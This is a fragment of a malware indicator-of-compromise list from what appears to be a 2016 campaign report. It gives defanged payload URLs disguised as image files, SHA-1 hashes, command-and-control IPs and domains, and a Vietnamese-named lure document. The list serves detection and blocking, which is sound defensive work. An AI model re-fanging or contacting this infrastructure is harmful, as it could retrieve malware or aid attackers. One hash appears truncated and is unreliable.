dllhost.exe
[IP check Tool]
hxxp://support.chatconnecting(.)com:80/icon.ico c41972517f268e214d1d6c446ca75e795646c5f2
hxxp://food.letsmiles(.)org/login.txt 9f95b81372eaf722a705d1f94a2632aad5b5c180
hxxp://food.letsmiles(.)org/9niL 5B4459252A9E67D085C8B6AC47048B276C7A6700
hxxp://23.227.196(.)210:80/logscreen.jpg d8f31a78e1d158032f789290fa52ada6281c9a1f
50fec977ee3bfb6ba88e5dd009b81f0cae73955e
hxxp://45.114.117(.)137/eXYF D1E3D0DDE443E9D294A39013C0D7261A411FF1C4
91BD627C7B8A34AB334B5E929AF6F981FCEBF268
hxxp://images.verginnet(.)info:80/ppap.png F0A0FB4E005DD5982AF5CFD64D32C43DF79E1402
hxxp://176.107.176(.)6/QVPh 8FC9D1DADF5CEF6CFE6996E4DA9E4AD3132702C
hxxp://108.170.31(.)69/a 4a3f9e31dc6362ab9e632964caad984d1120a1a7
hxxp://support(.)chatconnecting(.)com/pic.png bb82f02026cf515eab2cc88faa7d18148f424f72
hxxp://blog.versign(.)info/access/?version=4&lid=[reda 9e3971a2df15f5d9eb21d5da5a197e763c035f7a
cted]&token=[redacted]
hxxp://23.227.196(.)210/6tz8 bb82f02026cf515eab2cc88faa7d18148f424f72
hxxp://23.227.196(.)210/QVPh 8fc9d1dadf5cef6cfe6996e4da9e4ad3132702c5
hxxp://45.114.117(.)137/3mkQ 91bd627c7b8a34ab334b5e929af6f981fcebf268
hxxp://176.223.111(.)116:80/download/sido.jpg 5934262D2258E4F23E2079DB953DBEBED8F07981
hxxp://110.10.179(.)65:80/ptF2 DA2B3FF680A25FFB0DD4F55615168516222DFC10
hxxp://110.10.179(.)65:80/download/microsoftp.jpg 23EF081AF79E92C1FBA8B5E622025B821981C145
hxxp://110.10.179(.)65:80/download/microsoft.jpg C845F3AF0A2B7E034CE43658276AF3B3E402EB7B
C&C IPs
45.114.117(.)137
104.24.119(.)185
104.24.118(.)185
23.227.196(.)210
23.227.196(.)126
184.95.51(.)179
176.107.177(.)216
192.121.176(.)148
103.41.177(.)33
184.95.51(.)181
23.227.199(.)121
108.170.31(.)69
104.27.167(.)79
104.27.166(.)79
176.107.176(.)6
184.95.51(.)190
176.223.111(.)116
110.10.179(.)65
27.102.70(.)211
C&C Domains
food.letsmiles(.)org
help.chatconnecting(.)com
*.letsmiles(.)org
support.chatconnecting(.)com
inbox.mailboxhus(.)com
blog.versign(.)info
news.blogtrands(.)net
stack.inveglob(.)net
tops.gamecousers(.)com
nsquery(.)net
tonholding(.)com
cloudwsus(.)net
nortonudt(.)net
teriava(.)com
tulationeva(.)com
blog(.)versign(.)info File name: Giấy yêu cầu bồi thường mới 2016 - Hằng.doc
SHA-1: Link
(23.227.196[.]210) a5bddb5b10d673cbfe9b16a062ac78c9aa75b61c
Submitted: 2016-10-06 11:03:54